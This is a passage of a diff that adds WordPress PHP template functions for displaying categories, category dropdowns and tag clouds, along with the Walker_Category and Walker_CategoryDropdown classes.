+ * Retrieve category name based on category ID.
+ *
+ * @since 0.71
+ *
+ * @param int $cat_ID Category ID.
+ * @return string|WP_Error Category name on success, WP_Error on failure.
+ */
+function get_the_category_by_ID( $cat_ID ) {
+	$cat_ID = (int) $cat_ID;
+	$category = get_term( $cat_ID, 'category' );
+
+	if ( is_wp_error( $category ) )
+		return $category;
+
+	return ( $category ) ? $category->name : '';
+}
+
+/**
+ * Retrieve category list in either HTML list or custom format.
+ *
+ * @since 1.5.1
+ *
+ * @param string $separator Optional, default is empty string. Separator for between the categories.
+ * @param string $parents Optional. How to display the parents.
+ * @param int $post_id Optional. Post ID to retrieve categories.
+ * @return string
+ */
+function get_the_category_list( $separator = '', $parents='', $post_id = false ) {
+	global $wp_rewrite;
+	if ( ! is_object_in_taxonomy( get_post_type( $post_id ), 'category' ) ) {
+		/** This filter is documented in wp-includes/category-template.php */
+		return apply_filters( 'the_category', '', $separator, $parents );
+	}
+
+	$categories = get_the_category( $post_id );
+	if ( empty( $categories ) ) {
+		/** This filter is documented in wp-includes/category-template.php */
+		return apply_filters( 'the_category', __( 'Uncategorized' ), $separator, $parents );
+	}
+
+	$rel = ( is_object( $wp_rewrite ) && $wp_rewrite->using_permalinks() ) ? 'rel="category tag"' : 'rel="category"';
+
+	$thelist = '';
+	if ( '' == $separator ) {
+		$thelist .= '<ul class="post-categories">';
+		foreach ( $categories as $category ) {
+			$thelist .= "\n\t<li>";
+			switch ( strtolower( $parents ) ) {
+				case 'multiple':
+					if ( $category->parent )
+						$thelist .= get_category_parents( $category->parent, true, $separator );
+					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>' . $category->name.'</a></li>';
+					break;
+				case 'single':
+					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '"  ' . $rel . '>';
+					if ( $category->parent )
+						$thelist .= get_category_parents( $category->parent, false, $separator );
+					$thelist .= $category->name.'</a></li>';
+					break;
+				case '':
+				default:
+					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>' . $category->name.'</a></li>';
+			}
+		}
+		$thelist .= '</ul>';
+	} else {
+		$i = 0;
+		foreach ( $categories as $category ) {
+			if ( 0 < $i )
+				$thelist .= $separator;
+			switch ( strtolower( $parents ) ) {
+				case 'multiple':
+					if ( $category->parent )
+						$thelist .= get_category_parents( $category->parent, true, $separator );
+					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>' . $category->name.'</a>';
+					break;
+				case 'single':
+					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>';
+					if ( $category->parent )
+						$thelist .= get_category_parents( $category->parent, false, $separator );
+					$thelist .= "$category->name</a>";
+					break;
+				case '':
+				default:
+					$thelist .= '<a href="' . esc_url( get_category_link( $category->term_id ) ) . '" ' . $rel . '>' . $category->name.'</a>';
+			}
+			++$i;
+		}
+	}
+
+	/**
+	 * Filter the category or list of categories.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param array  $thelist   List of categories for the current post.
+	 * @param string $separator Separator used between the categories.
+	 * @param string $parents   How to display the category parents. Accepts 'multiple',
+	 *                          'single', or empty.
+	 */
+	return apply_filters( 'the_category', $thelist, $separator, $parents );
+}
+
+/**
+ * Check if the current post in within any of the given categories.
+ *
+ * The given categories are checked against the post's categories' term_ids, names and slugs.
+ * Categories given as integers will only be checked against the post's categories' term_ids.
+ *
+ * Prior to v2.5 of WordPress, category names were not supported.
+ * Prior to v2.7, category slugs were not supported.
+ * Prior to v2.7, only one category could be compared: in_category( $single_category ).
+ * Prior to v2.7, this function could only be used in the WordPress Loop.
+ * As of 2.7, the function can be used anywhere if it is provided a post ID or post object.
+ *
+ * @since 1.2.0
+ *
+ * @param int|string|array $category Category ID, name or slug, or array of said.
+ * @param int|object $post Optional. Post to check instead of the current post. (since 2.7.0)
+ * @return bool True if the current post is in any of the given categories.
+ */
+function in_category( $category, $post = null ) {
+	if ( empty( $category ) )
+		return false;
+
+	return has_category( $category, $post );
+}
+
+/**
+ * Display the category list for the post.
+ *
+ * @since 0.71
+ *
+ * @param string $separator Optional, default is empty string. Separator for between the categories.
+ * @param string $parents Optional. How to display the parents.
+ * @param int $post_id Optional. Post ID to retrieve categories.
+ */
+function the_category( $separator = '', $parents='', $post_id = false ) {
+	echo get_the_category_list( $separator, $parents, $post_id );
+}
+
+/**
+ * Retrieve category description.
+ *
+ * @since 1.0.0
+ *
+ * @param int $category Optional. Category ID. Will use global category ID by default.
+ * @return string Category description, available.
+ */
+function category_description( $category = 0 ) {
+	return term_description( $category, 'category' );
+}
+
+/**
+ * Display or retrieve the HTML dropdown list of categories.
+ *
+ * The list of arguments is below:
+ *     'show_option_all' (string) - Text to display for showing all categories.
+ *     'show_option_none' (string) - Text to display for showing no categories.
+ *     'option_none_value' (mixed) - Value to use when no category is selected.
+ *     'orderby' (string) default is 'ID' - What column to use for ordering the
+ * categories.
+ *     'order' (string) default is 'ASC' - What direction to order categories.
+ *     'show_count' (bool|int) default is 0 - Whether to show how many posts are
+ * in the category.
+ *     'hide_empty' (bool|int) default is 1 - Whether to hide categories that
+ * don't have any posts attached to them.
+ *     'child_of' (int) default is 0 - See {@link get_categories()}.
+ *     'exclude' (string) - See {@link get_categories()}.
+ *     'echo' (bool|int) default is 1 - Whether to display or retrieve content.
+ *     'depth' (int) - The max depth.
+ *     'tab_index' (int) - Tab index for select element.
+ *     'name' (string) - The name attribute value for select element.
+ *     'id' (string) - The ID attribute value for select element. Defaults to name if omitted.
+ *     'class' (string) - The class attribute value for select element.
+ *     'selected' (int) - Which category ID is selected.
+ *     'taxonomy' (string) - The name of the taxonomy to retrieve. Defaults to category.
+ *
+ * The 'hierarchical' argument, which is disabled by default, will override the
+ * depth argument, unless it is true. When the argument is false, it will
+ * display all of the categories. When it is enabled it will use the value in
+ * the 'depth' argument.
+ *
+ * @since 2.1.0
+ *
+ * @param string|array $args Optional. Override default arguments.
+ * @return string HTML content only if 'echo' argument is 0.
+ */
+function wp_dropdown_categories( $args = '' ) {
+	$defaults = array(
+		'show_option_all' => '', 'show_option_none' => '',
+		'orderby' => 'id', 'order' => 'ASC',
+		'show_count' => 0,
+		'hide_empty' => 1, 'child_of' => 0,
+		'exclude' => '', 'echo' => 1,
+		'selected' => 0, 'hierarchical' => 0,
+		'name' => 'cat', 'id' => '',
+		'class' => 'postform', 'depth' => 0,
+		'tab_index' => 0, 'taxonomy' => 'category',
+		'hide_if_empty' => false, 'option_none_value' => -1
+	);
+
+	$defaults['selected'] = ( is_category() ) ? get_query_var( 'cat' ) : 0;
+
+	// Back compat.
+	if ( isset( $args['type'] ) && 'link' == $args['type'] ) {
+		_deprecated_argument( __FUNCTION__, '3.0', '' );
+		$args['taxonomy'] = 'link_category';
+	}
+
+	$r = wp_parse_args( $args, $defaults );
+	$option_none_value = $r['option_none_value'];
+
+	if ( ! isset( $r['pad_counts'] ) && $r['show_count'] && $r['hierarchical'] ) {
+		$r['pad_counts'] = true;
+	}
+
+	$tab_index = $r['tab_index'];
+
+	$tab_index_attribute = '';
+	if ( (int) $tab_index > 0 ) {
+		$tab_index_attribute = " tabindex=\"$tab_index\"";
+	}
+	$categories = get_terms( $r['taxonomy'], $r );
+	$name = esc_attr( $r['name'] );
+	$class = esc_attr( $r['class'] );
+	$id = $r['id'] ? esc_attr( $r['id'] ) : $name;
+
+	if ( ! $r['hide_if_empty'] || ! empty( $categories ) ) {
+		$output = "<select name='$name' id='$id' class='$class' $tab_index_attribute>\n";
+	} else {
+		$output = '';
+	}
+	if ( empty( $categories ) && ! $r['hide_if_empty'] && ! empty( $r['show_option_none'] ) ) {
+
+		/**
+		 * Filter a taxonomy drop-down display element.
+		 *
+		 * A variety of taxonomy drop-down display elements can be modified
+		 * just prior to display via this filter. Filterable arguments include
+		 * 'show_option_none', 'show_option_all', and various forms of the
+		 * term name.
+		 *
+		 * @since 1.2.0
+		 *
+		 * @see wp_dropdown_categories()
+		 *
+		 * @param string $element Taxonomy element to list.
+		 */
+		$show_option_none = apply_filters( 'list_cats', $r['show_option_none'] );
+		$output .= "\t<option value='" . esc_attr( $option_none_value ) . "' selected='selected'>$show_option_none</option>\n";
+	}
+
+	if ( ! empty( $categories ) ) {
+
+		if ( $r['show_option_all'] ) {
+
+			/** This filter is documented in wp-includes/category-template.php */
+			$show_option_all = apply_filters( 'list_cats', $r['show_option_all'] );
+			$selected = ( '0' === strval($r['selected']) ) ? " selected='selected'" : '';
+			$output .= "\t<option value='0'$selected>$show_option_all</option>\n";
+		}
+
+		if ( $r['show_option_none'] ) {
+
+			/** This filter is documented in wp-includes/category-template.php */
+			$show_option_none = apply_filters( 'list_cats', $r['show_option_none'] );
+			$selected = selected( $option_none_value, $r['selected'], false );
+			$output .= "\t<option value='" . esc_attr( $option_none_value ) . "'$selected>$show_option_none</option>\n";
+		}
+
+		if ( $r['hierarchical'] ) {
+			$depth = $r['depth'];  // Walk the full depth.
+		} else {
+			$depth = -1; // Flat.
+		}
+		$output .= walk_category_dropdown_tree( $categories, $depth, $r );
+	}
+
+	if ( ! $r['hide_if_empty'] || ! empty( $categories ) ) {
+		$output .= "</select>\n";
+	}
+	/**
+	 * Filter the taxonomy drop-down output.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $output HTML output.
+	 * @param array  $r      Arguments used to build the drop-down.
+	 */
+	$output = apply_filters( 'wp_dropdown_cats', $output, $r );
+
+	if ( $r['echo'] ) {
+		echo $output;
+	}
+	return $output;
+}
+
+/**
+ * Display or retrieve the HTML list of categories.
+ *
+ * The list of arguments is below:
+ *     'show_option_all' (string) - Text to display for showing all categories.
+ *     'orderby' (string) default is 'ID' - What column to use for ordering the
+ * categories.
+ *     'order' (string) default is 'ASC' - What direction to order categories.
+ *     'show_count' (bool|int) default is 0 - Whether to show how many posts are
+ * in the category.
+ *     'hide_empty' (bool|int) default is 1 - Whether to hide categories that
+ * don't have any posts attached to them.
+ *     'use_desc_for_title' (bool|int) default is 1 - Whether to use the
+ * category description as the title attribute.
+ *     'feed' - See {@link get_categories()}.
+ *     'feed_type' - See {@link get_categories()}.
+ *     'feed_image' - See {@link get_categories()}.
+ *     'child_of' (int) default is 0 - See {@link get_categories()}.
+ *     'exclude' (string) - See {@link get_categories()}.
+ *     'exclude_tree' (string) - See {@link get_categories()}.
+ *     'echo' (bool|int) default is 1 - Whether to display or retrieve content.
+ *     'current_category' (int) - See {@link get_categories()}.
+ *     'hierarchical' (bool) - See {@link get_categories()}.
+ *     'title_li' (string) - See {@link get_categories()}.
+ *     'depth' (int) - The max depth.
+ *
+ * @since 2.1.0
+ *
+ * @param string|array $args Optional. Override default arguments.
+ * @return false|null|string HTML content only if 'echo' argument is 0.
+ */
+function wp_list_categories( $args = '' ) {
+	$defaults = array(
+		'show_option_all' => '', 'show_option_none' => __('No categories'),
+		'orderby' => 'name', 'order' => 'ASC',
+		'style' => 'list',
+		'show_count' => 0, 'hide_empty' => 1,
+		'use_desc_for_title' => 1, 'child_of' => 0,
+		'feed' => '', 'feed_type' => '',
+		'feed_image' => '', 'exclude' => '',
+		'exclude_tree' => '', 'current_category' => 0,
+		'hierarchical' => true, 'title_li' => __( 'Categories' ),
+		'echo' => 1, 'depth' => 0,
+		'taxonomy' => 'category'
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	if ( !isset( $r['pad_counts'] ) && $r['show_count'] && $r['hierarchical'] )
+		$r['pad_counts'] = true;
+
+	if ( true == $r['hierarchical'] ) {
+		$r['exclude_tree'] = $r['exclude'];
+		$r['exclude'] = '';
+	}
+
+	if ( ! isset( $r['class'] ) )
+		$r['class'] = ( 'category' == $r['taxonomy'] ) ? 'categories' : $r['taxonomy'];
+
+	if ( ! taxonomy_exists( $r['taxonomy'] ) ) {
+		return false;
+	}
+
+	$show_option_all = $r['show_option_all'];
+	$show_option_none = $r['show_option_none'];
+
+	$categories = get_categories( $r );
+
+	$output = '';
+	if ( $r['title_li'] && 'list' == $r['style'] ) {
+		$output = '<li class="' . esc_attr( $r['class'] ) . '">' . $r['title_li'] . '<ul>';
+	}
+	if ( empty( $categories ) ) {
+		if ( ! empty( $show_option_none ) ) {
+			if ( 'list' == $r['style'] ) {
+				$output .= '<li class="cat-item-none">' . $show_option_none . '</li>';
+			} else {
+				$output .= $show_option_none;
+			}
+		}
+	} else {
+		if ( ! empty( $show_option_all ) ) {
+			$posts_page = ( 'page' == get_option( 'show_on_front' ) && get_option( 'page_for_posts' ) ) ? get_permalink( get_option( 'page_for_posts' ) ) : home_url( '/' );
+			$posts_page = esc_url( $posts_page );
+			if ( 'list' == $r['style'] ) {
+				$output .= "<li class='cat-item-all'><a href='$posts_page'>$show_option_all</a></li>";
+			} else {
+				$output .= "<a href='$posts_page'>$show_option_all</a>";
+			}
+		}
+
+		if ( empty( $r['current_category'] ) && ( is_category() || is_tax() || is_tag() ) ) {
+			$current_term_object = get_queried_object();
+			if ( $current_term_object && $r['taxonomy'] === $current_term_object->taxonomy ) {
+				$r['current_category'] = get_queried_object_id();
+			}
+		}
+
+		if ( $r['hierarchical'] ) {
+			$depth = $r['depth'];
+		} else {
+			$depth = -1; // Flat.
+		}
+		$output .= walk_category_tree( $categories, $depth, $r );
+	}
+
+	if ( $r['title_li'] && 'list' == $r['style'] )
+		$output .= '</ul></li>';
+
+	/**
+	 * Filter the HTML output of a taxonomy list.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $output HTML output.
+	 * @param array  $args   An array of taxonomy-listing arguments.
+	 */
+	$html = apply_filters( 'wp_list_categories', $output, $args );
+
+	if ( $r['echo'] ) {
+		echo $html;
+	} else {
+		return $html;
+	}
+}
+
+/**
+ * Display tag cloud.
+ *
+ * The text size is set by the 'smallest' and 'largest' arguments, which will
+ * use the 'unit' argument value for the CSS text size unit. The 'format'
+ * argument can be 'flat' (default), 'list', or 'array'. The flat value for the
+ * 'format' argument will separate tags with spaces. The list value for the
+ * 'format' argument will format the tags in a UL HTML list. The array value for
+ * the 'format' argument will return in PHP array type format.
+ *
+ * The 'orderby' argument will accept 'name' or 'count' and defaults to 'name'.
+ * The 'order' is the direction to sort, defaults to 'ASC' and can be 'DESC'.
+ *
+ * The 'number' argument is how many tags to return. By default, the limit will
+ * be to return the top 45 tags in the tag cloud list.
+ *
+ * The 'topic_count_text' argument is a nooped plural from _n_noop() to generate the
+ * text for the tooltip of the tag link.
+ *
+ * The 'topic_count_text_callback' argument is a function, which given the count
+ * of the posts with that tag returns a text for the tooltip of the tag link.
+ *
+ * The 'post_type' argument is used only when 'link' is set to 'edit'. It determines the post_type
+ * passed to edit.php for the popular tags edit links.
+ *
+ * The 'exclude' and 'include' arguments are used for the {@link get_tags()}
+ * function. Only one should be used, because only one will be used and the
+ * other ignored, if they are both set.
+ *
+ * @since 2.3.0
+ *
+ * @param array|string|null $args Optional. Override default arguments.
+ * @return null|false Generated tag cloud, only if no failures and 'array' is set for the 'format' argument.
+ */
+function wp_tag_cloud( $args = '' ) {
+	$defaults = array(
+		'smallest' => 8, 'largest' => 22, 'unit' => 'pt', 'number' => 45,
+		'format' => 'flat', 'separator' => "\n", 'orderby' => 'name', 'order' => 'ASC',
+		'exclude' => '', 'include' => '', 'link' => 'view', 'taxonomy' => 'post_tag', 'post_type' => '', 'echo' => true
+	);
+	$args = wp_parse_args( $args, $defaults );
+
+	$tags = get_terms( $args['taxonomy'], array_merge( $args, array( 'orderby' => 'count', 'order' => 'DESC' ) ) ); // Always query top tags
+
+	if ( empty( $tags ) || is_wp_error( $tags ) )
+		return;
+
+	foreach ( $tags as $key => $tag ) {
+		if ( 'edit' == $args['link'] )
+			$link = get_edit_term_link( $tag->term_id, $tag->taxonomy, $args['post_type'] );
+		else
+			$link = get_term_link( intval($tag->term_id), $tag->taxonomy );
+		if ( is_wp_error( $link ) )
+			return false;
+
+		$tags[ $key ]->link = $link;
+		$tags[ $key ]->id = $tag->term_id;
+	}
+
+	$return = wp_generate_tag_cloud( $tags, $args ); // Here's where those top tags get sorted according to $args
+
+	/**
+	 * Filter the tag cloud output.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $return HTML output of the tag cloud.
+	 * @param array  $args   An array of tag cloud arguments.
+	 */
+	$return = apply_filters( 'wp_tag_cloud', $return, $args );
+
+	if ( 'array' == $args['format'] || empty($args['echo']) )
+		return $return;
+
+	echo $return;
+}
+
+/**
+ * Default topic count scaling for tag links
+ *
+ * @param integer $count number of posts with that tag
+ * @return integer scaled count
+ */
+function default_topic_count_scale( $count ) {
+	return round(log10($count + 1) * 100);
+}
+
+/**
+ * Generates a tag cloud (heatmap) from provided data.
+ *
+ * The text size is set by the 'smallest' and 'largest' arguments, which will
+ * use the 'unit' argument value for the CSS text size unit. The 'format'
+ * argument can be 'flat' (default), 'list', or 'array'. The flat value for the
+ * 'format' argument will separate tags with spaces. The list value for the
+ * 'format' argument will format the tags in a UL HTML list. The array value for
+ * the 'format' argument will return in PHP array type format.
+ *
+ * The 'tag_cloud_sort' filter allows you to override the sorting.
+ * Passed to the filter: $tags array and $args array, has to return the $tags array
+ * after sorting it.
+ *
+ * The 'orderby' argument will accept 'name' or 'count' and defaults to 'name'.
+ * The 'order' is the direction to sort, defaults to 'ASC' and can be 'DESC' or
+ * 'RAND'.
+ *
+ * The 'number' argument is how many tags to return. By default, the limit will
+ * be to return the entire tag cloud list.
+ *
+ * The 'topic_count_text' argument is a nooped plural from _n_noop() to generate the
+ * text for the tooltip of the tag link.
+ *
+ * The 'topic_count_text_callback' argument is a function, which given the count
+ * of the posts with that tag returns a text for the tooltip of the tag link.
+ *
+ * @todo Complete functionality.
+ * @since 2.3.0
+ *
+ * @param array $tags List of tags.
+ * @param string|array $args Optional, override default arguments.
+ * @return string|array Tag cloud as a string or an array, depending on 'format' argument.
+ */
+function wp_generate_tag_cloud( $tags, $args = '' ) {
+	$defaults = array(
+		'smallest' => 8, 'largest' => 22, 'unit' => 'pt', 'number' => 0,
+		'format' => 'flat', 'separator' => "\n", 'orderby' => 'name', 'order' => 'ASC',
+		'topic_count_text' => null, 'topic_count_text_callback' => null,
+		'topic_count_scale_callback' => 'default_topic_count_scale', 'filter' => 1,
+	);
+
+	$args = wp_parse_args( $args, $defaults );
+
+	$return = ( 'array' === $args['format'] ) ? array() : '';
+
+	if ( empty( $tags ) ) {
+		return $return;
+	}
+
+	// Juggle topic count tooltips:
+	if ( isset( $args['topic_count_text'] ) ) {
+		// First look for nooped plural support via topic_count_text.
+		$translate_nooped_plural = $args['topic_count_text'];
+	} elseif ( ! empty( $args['topic_count_text_callback'] ) ) {
+		// Look for the alternative callback style. Ignore the previous default.
+		if ( $args['topic_count_text_callback'] === 'default_topic_count_text' ) {
+			$translate_nooped_plural = _n_noop( '%s topic', '%s topics' );
+		} else {
+			$translate_nooped_plural = false;
+		}
+	} elseif ( isset( $args['single_text'] ) && isset( $args['multiple_text'] ) ) {
+		// If no callback exists, look for the old-style single_text and multiple_text arguments.
+		$translate_nooped_plural = _n_noop( $args['single_text'], $args['multiple_text'] );
+	} else {
+		// This is the default for when no callback, plural, or argument is passed in.
+		$translate_nooped_plural = _n_noop( '%s topic', '%s topics' );
+	}
+
+	/**
+	 * Filter how the items in a tag cloud are sorted.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $tags Ordered array of terms.
+	 * @param array $args An array of tag cloud arguments.
+	 */
+	$tags_sorted = apply_filters( 'tag_cloud_sort', $tags, $args );
+	if ( empty( $tags_sorted ) ) {
+		return $return;
+	}
+
+	if ( $tags_sorted !== $tags ) {
+		$tags = $tags_sorted;
+		unset( $tags_sorted );
+	} else {
+		if ( 'RAND' === $args['order'] ) {
+			shuffle( $tags );
+		} else {
+			// SQL cannot save you; this is a second (potentially different) sort on a subset of data.
+			if ( 'name' === $args['orderby'] ) {
+				uasort( $tags, '_wp_object_name_sort_cb' );
+			} else {
+				uasort( $tags, '_wp_object_count_sort_cb' );
+			}
+
+			if ( 'DESC' === $args['order'] ) {
+				$tags = array_reverse( $tags, true );
+			}
+		}
+	}
+
+	if ( $args['number'] > 0 )
+		$tags = array_slice( $tags, 0, $args['number'] );
+
+	$counts = array();
+	$real_counts = array(); // For the alt tag
+	foreach ( (array) $tags as $key => $tag ) {
+		$real_counts[ $key ] = $tag->count;
+		$counts[ $key ] = call_user_func( $args['topic_count_scale_callback'], $tag->count );
+	}
+
+	$min_count = min( $counts );
+	$spread = max( $counts ) - $min_count;
+	if ( $spread <= 0 )
+		$spread = 1;
+	$font_spread = $args['largest'] - $args['smallest'];
+	if ( $font_spread < 0 )
+		$font_spread = 1;
+	$font_step = $font_spread / $spread;
+
+	$a = array();
+
+	foreach ( $tags as $key => $tag ) {
+		$count = $counts[ $key ];
+		$real_count = $real_counts[ $key ];
+		$tag_link = '#' != $tag->link ? esc_url( $tag->link ) : '#';
+		$tag_id = isset($tags[ $key ]->id) ? $tags[ $key ]->id : $key;
+		$tag_name = $tags[ $key ]->name;
+
+		if ( $translate_nooped_plural ) {
+			$title_attribute = sprintf( translate_nooped_plural( $translate_nooped_plural, $real_count ), number_format_i18n( $real_count ) );
+		} else {
+			$title_attribute = call_user_func( $args['topic_count_text_callback'], $real_count, $tag, $args );
+		}
+
+		$a[] = "<a href='$tag_link' class='tag-link-$tag_id' title='" . esc_attr( $title_attribute ) . "' style='font-size: " .
+			str_replace( ',', '.', ( $args['smallest'] + ( ( $count - $min_count ) * $font_step ) ) )
+			. $args['unit'] . ";'>$tag_name</a>";
+	}
+
+	switch ( $args['format'] ) {
+		case 'array' :
+			$return =& $a;
+			break;
+		case 'list' :
+			$return = "<ul class='wp-tag-cloud'>\n\t<li>";
+			$return .= join( "</li>\n\t<li>", $a );
+			$return .= "</li>\n</ul>\n";
+			break;
+		default :
+			$return = join( $args['separator'], $a );
+			break;
+	}
+
+	if ( $args['filter'] ) {
+		/**
+		 * Filter the generated output of a tag cloud.
+		 *
+		 * The filter is only evaluated if a true value is passed
+		 * to the $filter argument in wp_generate_tag_cloud().
+		 *
+		 * @since 2.3.0
+		 *
+		 * @see wp_generate_tag_cloud()
+		 *
+		 * @param array|string $return String containing the generated HTML tag cloud output
+		 *                             or an array of tag links if the 'format' argument
+		 *                             equals 'array'.
+		 * @param array        $tags   An array of terms used in the tag cloud.
+		 * @param array        $args   An array of wp_generate_tag_cloud() arguments.
+		 */
+		return apply_filters( 'wp_generate_tag_cloud', $return, $tags, $args );
+	}
+
+	else
+		return $return;
+}
+
+/**
+ * Callback for comparing objects based on name
+ *
+ * @since 3.1.0
+ * @access private
+ */
+function _wp_object_name_sort_cb( $a, $b ) {
+	return strnatcasecmp( $a->name, $b->name );
+}
+
+/**
+ * Callback for comparing objects based on count
+ *
+ * @since 3.1.0
+ * @access private
+ */
+function _wp_object_count_sort_cb( $a, $b ) {
+	return ( $a->count > $b->count );
+}
+
+//
+// Helper functions
+//
+
+/**
+ * Retrieve HTML list content for category list.
+ *
+ * @uses Walker_Category to create HTML list content.
+ * @since 2.1.0
+ * @see Walker_Category::walk() for parameters and return description.
+ */
+function walk_category_tree() {
+	$args = func_get_args();
+	// the user's options are the third parameter
+	if ( empty($args[2]['walker']) || !is_a($args[2]['walker'], 'Walker') )
+		$walker = new Walker_Category;
+	else
+		$walker = $args[2]['walker'];
+
+	return call_user_func_array(array( &$walker, 'walk' ), $args );
+}
+
+/**
+ * Retrieve HTML dropdown (select) content for category list.
+ *
+ * @uses Walker_CategoryDropdown to create HTML dropdown content.
+ * @since 2.1.0
+ * @see Walker_CategoryDropdown::walk() for parameters and return description.
+ */
+function walk_category_dropdown_tree() {
+	$args = func_get_args();
+	// the user's options are the third parameter
+	if ( empty($args[2]['walker']) || !is_a($args[2]['walker'], 'Walker') )
+		$walker = new Walker_CategoryDropdown;
+	else
+		$walker = $args[2]['walker'];
+
+	return call_user_func_array(array( &$walker, 'walk' ), $args );
+}
+
+/**
+ * Create HTML list of categories.
+ *
+ * @package WordPress
+ * @since 2.1.0
+ * @uses Walker
+ */
+class Walker_Category extends Walker {
+	/**
+	 * What the class handles.
+	 *
+	 * @see Walker::$tree_type
+	 * @since 2.1.0
+	 * @var string
+	 */
+	public $tree_type = 'category';
+
+	/**
+	 * Database fields to use.
+	 *
+	 * @see Walker::$db_fields
+	 * @since 2.1.0
+	 * @todo Decouple this
+	 * @var array
+	 */
+	public $db_fields = array ('parent' => 'parent', 'id' => 'term_id');
+
+	/**
+	 * Starts the list before the elements are added.
+	 *
+	 * @see Walker::start_lvl()
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int    $depth  Depth of category. Used for tab indentation.
+	 * @param array  $args   An array of arguments. Will only append content if style argument value is 'list'.
+	 *                       @see wp_list_categories()
+	 */
+	public function start_lvl( &$output, $depth = 0, $args = array() ) {
+		if ( 'list' != $args['style'] )
+			return;
+
+		$indent = str_repeat("\t", $depth);
+		$output .= "$indent<ul class='children'>\n";
+	}
+
+	/**
+	 * Ends the list of after the elements are added.
+	 *
+	 * @see Walker::end_lvl()
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int    $depth  Depth of category. Used for tab indentation.
+	 * @param array  $args   An array of arguments. Will only append content if style argument value is 'list'.
+	 *                       @wsee wp_list_categories()
+	 */
+	public function end_lvl( &$output, $depth = 0, $args = array() ) {
+		if ( 'list' != $args['style'] )
+			return;
+
+		$indent = str_repeat("\t", $depth);
+		$output .= "$indent</ul>\n";
+	}
+
+	/**
+	 * Start the element output.
+	 *
+	 * @see Walker::start_el()
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $output   Passed by reference. Used to append additional content.
+	 * @param object $category Category data object.
+	 * @param int    $depth    Depth of category in reference to parents. Default 0.
+	 * @param array  $args     An array of arguments. @see wp_list_categories()
+	 * @param int    $id       ID of the current category.
+	 */
+	public function start_el( &$output, $category, $depth = 0, $args = array(), $id = 0 ) {
+		/** This filter is documented in wp-includes/category-template.php */
+		$cat_name = apply_filters(
+			'list_cats',
+			esc_attr( $category->name ),
+			$category
+		);
+
+		$link = '<a href="' . esc_url( get_term_link( $category ) ) . '" ';
+		if ( $args['use_desc_for_title'] && ! empty( $category->description ) ) {
+			/**
+			 * Filter the category description for display.
+			 *
+			 * @since 1.2.0
+			 *
+			 * @param string $description Category description.
+			 * @param object $category    Category object.
+			 */
+			$link .= 'title="' . esc_attr( strip_tags( apply_filters( 'category_description', $category->description, $category ) ) ) . '"';
+		}
+
+		$link .= '>';
+		$link .= $cat_name . '</a>';
+
+		if ( ! empty( $args['feed_image'] ) || ! empty( $args['feed'] ) ) {
+			$link .= ' ';
+
+			if ( empty( $args['feed_image'] ) ) {
+				$link .= '(';
+			}
+
+			$link .= '<a href="' . esc_url( get_term_feed_link( $category->term_id, $category->taxonomy, $args['feed_type'] ) ) . '"';
+
+			if ( empty( $args['feed'] ) ) {
+				$alt = ' alt="' . sprintf(__( 'Feed for all posts filed under %s' ), $cat_name ) . '"';
+			} else {
+				$alt = ' alt="' . $args['feed'] . '"';
+				$name = $args['feed'];
+				$link .= empty( $args['title'] ) ? '' : $args['title'];
+			}
+
+			$link .= '>';
+
+			if ( empty( $args['feed_image'] ) ) {
+				$link .= $name;
+			} else {
+				$link .= "<img src='" . $args['feed_image'] . "'$alt" . ' />';
+			}
+			$link .= '</a>';
+
+			if ( empty( $args['feed_image'] ) ) {
+				$link .= ')';
+			}
+		}
+
+		if ( ! empty( $args['show_count'] ) ) {
+			$link .= ' (' . number_format_i18n( $category->count ) . ')';
+		}
+		if ( 'list' == $args['style'] ) {
+			$output .= "\t<li";
+			$class = 'cat-item cat-item-' . $category->term_id;
+			if ( ! empty( $args['current_category'] ) ) {
+				$_current_category = get_term( $args['current_category'], $category->taxonomy );
+				if ( $category->term_id == $args['current_category'] ) {
+					$class .=  ' current-cat';
+				} elseif ( $category->term_id == $_current_category->parent ) {
+					$class .=  ' current-cat-parent';
+				}
+			}
+			$output .=  ' class="' . $class . '"';
+			$output .= ">$link\n";
+		} else {
+			$output .= "\t$link<br />\n";
+		}
+	}
+
+	/**
+	 * Ends the element output, if needed.
+	 *
+	 * @see Walker::end_el()
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param object $page   Not used.
+	 * @param int    $depth  Depth of category. Not used.
+	 * @param array  $args   An array of arguments. Only uses 'list' for whether should append to output. @see wp_list_categories()
+	 */
+	public function end_el( &$output, $page, $depth = 0, $args = array() ) {
+		if ( 'list' != $args['style'] )
+			return;
+
+		$output .= "</li>\n";
+	}
+
+}
+
+/**
+ * Create HTML dropdown list of Categories.
+ *
+ * @package WordPress
+ * @since 2.1.0
+ * @uses Walker
+ */
+class Walker_CategoryDropdown extends Walker {
+	/**
+	 * @see Walker::$tree_type
+	 * @since 2.1.0
+	 * @var string
+	 */
+	public $tree_type = 'category';
+
+	/**
+	 * @see Walker::$db_fields
+	 * @since 2.1.0
+	 * @todo Decouple this
+	 * @var array
+	 */
+	public $db_fields = array ('parent' => 'parent', 'id' => 'term_id');
+
+	/**
+	 * Start the element output.
+	 *
+	 * @see Walker::start_el()
+	 * @since 2.1.0
+	 *
+	 * @param string $output   Passed by reference. Used to append additional content.
+	 * @param object $category Category data object.
+	 * @param int    $depth    Depth of category. Used for padding.
+	 * @param array  $args     Uses 'selected' and 'show_count' keys, if they exist. @see wp_dropdown_categories()
+	 */
+	public function start_el( &$output, $category, $depth = 0, $args = array(), $id = 0 ) {
+		$pad = str_repeat('&nbsp;', $depth * 3);
+
+		/** This filter is documented in wp-includes/category-template.php */
